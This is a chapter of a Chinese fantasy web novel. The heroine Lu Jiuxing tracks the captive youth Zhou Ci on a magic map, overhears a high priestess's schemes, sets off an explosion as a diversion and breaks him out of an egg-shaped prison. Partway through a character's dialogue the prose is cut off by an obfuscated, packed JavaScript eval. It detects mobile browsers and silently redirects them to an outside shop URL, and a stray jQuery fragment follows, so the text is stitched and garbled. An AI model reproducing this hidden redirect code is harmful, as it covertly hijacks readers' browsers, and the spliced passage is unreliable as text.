闪烁着蓝色荧光的地图安静地漂浮着。
权杖宫殿弯弯绕绕,各种路线交叠,就像是无数迷宫线条延伸交叉一样。
一抹红点在地图右下角静静闪烁。
陆久星下意识猜出这抹红点就是自己的位置。
之前梅德带她走过权杖宫殿中央的走廊,那边的大致地形她还能记得,但饶是如此,她现在看着地图也很是头大。
最关键的是,她现在还不知道周辞被藏在哪里。
想起最后见面时昏迷的少年,陆久星心里就有些焦灼。
眼前的地图忽然变化了一下。
代表她所在的红点不知为何到处乱窜,最后跳到了右上角的某个宫殿中。
地图自动放大,展露出新的画面。
沉睡的少年被藏在一个巨大白色卵蛋中,四肢被内部某种胶质粘连,脸色苍白,面无血色。
身上的锁链如保护罩一样锁住了他的身体,随即与主人一起陷入了沉睡。
卵蛋悬空浮起,周围布满了祭坛。
就在此时,画面忽然一转。
被陆久星戏耍的艾佩内走进了宫殿中。
她走到卵蛋前,冷眼看着自卵蛋内部运输出来的红色鲜血凝聚在祭坛下方,凹陷的祭坛中央出现了一泉血池。
“异端的鲜血。”她若有所思,犹豫几秒后,忽然蹲下身,用手上的圣物舀了一杯血水,仰头一饮而尽。
浓重的血腥味漫进口腔,与此同时,体内停滞多时的力量在此时却开始缓缓上升。
别小看这上升速度,以她接受了主神改造的身体和力量来说,仅仅喝了一杯血,便能带给她堪比神明的力量涨幅。
如果她饮尽血池里所有的血呢?
想到这里,她语调上扬,充满喜悦地低声道:“怪不得——”
怪不得他们愿意睁一只眼闭一只眼。
在饮下这杯血之前,她认为异端便是祸害,于是毫不留情地打压,但在今天之后,她却忽然改变了想法。
“真可惜。”她突然叹了口气,遗憾地拉长声线,“早知道有这么大用处,我就不杀死那么多异端了。”
她在遗憾到手的宝物被自己丢弃,不过转头却又想到了梅德之前说的那番话。
姣好的容颜顷刻间便冷了下来,她阴沉着脸,就连抚摸着卵蛋的手都忍不住用力,指甲陷了进去。
“我才进入宫殿一年,处境比起刚来的海亚好不了多少,其他大祭司都有意疏远我,没有自己的势力,就连这些,也需要别人施舍一样地告诉我。”
想起被梅德嘲讽的场景,她咬着牙,表情更难看了,“那老太婆,不会这么好心帮我。”
正如梅德所言,最坚固的关系便是利益关系,这会突然告诉她,想必是她早有预谋。
她沉吟着自言自语:“她说其他大祭司知道这件事,但不一定所有人都站她这里,现在忽然告诉我,除非……她被不该知道的人发现了。”
而在这座权杖宫殿中,谁是最不该知道此事的人,她甚至不用动脑都能想得到。
亲生母亲把消息透露给自己,而代价是让自己背锅。
艾佩内冷笑一声,一下什么都明白了过来。
在她有所猜测后,刚好身后有祭司前来,禀告她有其他大祭司来找。
果然如她所料。
她恢复了冷静,随着祭司去往某个宫殿。
画面定格在祭坛的卵蛋中。
陆久星听完了女人的所有自言自语。
“幸好我也没信梅德的话。”
应该是说,在第一次见到梅德时,她就知道此人不可信。
只是站在路人角度,梅德一开始给她的感觉便极度自我。
这倒是没什么不对,可却与她奴/隶的身份不太相符。
这样的人却能在权杖宫殿里生活这么多年,必然有所依仗。
因此她没全信,甚至用幻术防了一招。
不过她确实没有想到,她与那位大祭司竟然是母女关系。
但这不是她最关心的,在刚刚看到的画面里,她听到女人提到了“海亚”这个名字。
“是重名了吗?”她眉心隆起,瞥了眼定格的画面,忽然下定了决心。
权杖宫殿中的内部事她不清楚,但她知道,少年所在的地方必有看守,她得想办法绕过他们。
她的目光一路扫过,最后停留在祭坛上。
在经历了三次机关解锁后,底下祭坛便不再像之前那般连接紧密,而是上方出现了几块浮起的碎片。
这是祭坛核心。
海里路曾告诉她,只要带回核心,那他们一族的祭坛便能重现,至于构造祭坛的石块,重新建造便是。
而这些核心又如何回收呢?
陆久星将阿卜镯对准这几枚碎片,几个呼吸后,碎片就自动贴附到了镯子上。
古朴的镯子一角点亮了四分之一的图案。
这只是镜族其中一个祭坛,按照图案推断,应该还有三个祭坛她没找到。
但时间不等人。
陆久星重新坐回凸起的石棺中,将吸收了祭坛核心的镯子对着石棺,祭坛自动传送回了之前的房间里。
她小心起身,幻化了一只鸟儿飞出去巡视了一番,在确定周围没人后,这才往祭坛里放了点东西,最后又变成纸人的模样,从缝隙中钻出去,沿着记忆中的路线走了大概十几分钟,她才到了周辞所在的宫殿外。
她再次召唤出之前幻化的鸟儿,鸟儿飞往远处。
“砰——”
爆炸声忽然响起。
刚才陆久星待过的宫殿方向冒起了浓浓黑烟。
“着火了,祭坛着火了!”
有人大声呼喊着。
所有人的注意力都被起火方向所吸引,一直守候在此的祭司们也频频看过去。
谁都没注意到,一个只有巴掌大小的不起眼纸片人悄悄窜了进去。
匆忙的脚步声响起,动静惊扰了大祭司们所住的宫殿,几分钟后,有人站出来,面色凝重地指挥着。
但火焰越来越大,那人面色严峻中又带着担忧害怕之色,视线无意扫过正看守在宫殿外的祭司们,怒气顿时有了发泄对象。
“你们还在等什么?去救火啊。”那人紧皱着眉,毫不客气地吩咐道:“赶紧去,异端哪能比祭坛重要,而且——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700504|178243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他突然顿了顿,立马转移话题,“总之给我过去救火,要是祭坛被烧毁了,大祭司怪罪起来,可就不是你们能承担得了的。”
他的地位似乎比祭司们还要稍高一截,其他祭司闻言,脸上立马露出恐慌表情,连忙领命而去。
躲在暗处观察的少女暗想,我自己制造的爆炸/弹,哪能随随便便就可以灭掉。
她可是在里面加了不少东西。
关键时刻还是工匠起了作用,陆久星默默感叹着自己幸亏学了这玩意,不然都不好让其他人离开这里。
冷眼见火势一时半会熄不掉,她放心地进入到宫殿中。
比起之前被蒙骗后进去的宫殿,这里就看上去要更加精致得多。
无数祭坛拔地而起,每个祭坛形状各异,跟现实世界的坟墓一样,甚至有种荒凉感。
陆久星嗅到了空气中浓郁的血腥味,稍微一靠近,就发现不少祭坛中央盛放的血池。
她脚步一顿,随后小心地绕开这些血池,朝着深处的卵蛋走去。
短刀不知何时出现在手上,她动作麻利又粗暴地劈开外面一层。
卵蛋内部,一直安静的锁链突然动了一下。
陆久星劈了差不多十分钟才勉强撕开了一条缝,她双手扒在缝隙边缘,下意识用尽全力往外一拉。
坚硬的外壳一下就很轻松地打开,陆久星还未看清内部什么情况,一条锁链就伸了出来,急切地缠住了她的腰。
它贴着少女的手到处蹭来蹭去,活像委屈小狗在疯狂嘤嘤。
陆久星差点被它弄得跌倒,哭笑不得地拍了拍它。
“好了好了,别撒娇了。”少女压低声音,做了个噤声的手势。
但锁链才不管那么多。
它嫌被黏着的卵蛋累赘,拼命钻出来,陆久星笑道:“你这张牙舞爪的样子,比你主人强多了。”
“谁说的?”
熟悉的声音响起,陆久星动作一下就僵住了。
她猛地抬头,少年咳了咳,虚弱地开口:“赶紧的,帮我把口子再开大点,我出不来。”
陆久星还从未听过他这么低哑的声音,她连忙和锁链一起把口子撕往外拉了拉,少年身体不受控制地往外一扑。
她赶紧接住他,甚至还下意识掂量了几下,“你这也没瘦多少啊。”
周辞闻言,脸色虽然还是苍白,但没忍住翻了个白眼。
他想了想,还是克制住了,“主要是你救得及时。”
他虚弱的原因主要还是当时昏迷前受到的那一掌伤害。
两人熟悉地互怼了几下,很快便止住话头。
陆久星抛了个珠子给他。
少年接过,下意识问道:“什么东西?给我的礼物?”
“我怎么可能会送这么廉价的东西,这是传送珠。”陆久星瞪了他一眼,“我已经开启了,还有60秒才能传送,你先帮我拿着。”
她把少年放到祭坛边上。
“咦。”周辞有些嫌弃地别过脸,不去看祭坛中央的血池,却瞧见陆久星站起身背对着他,做出守护的姿势。
有人从外面走了进来。
“好久不见,阿星姐姐。”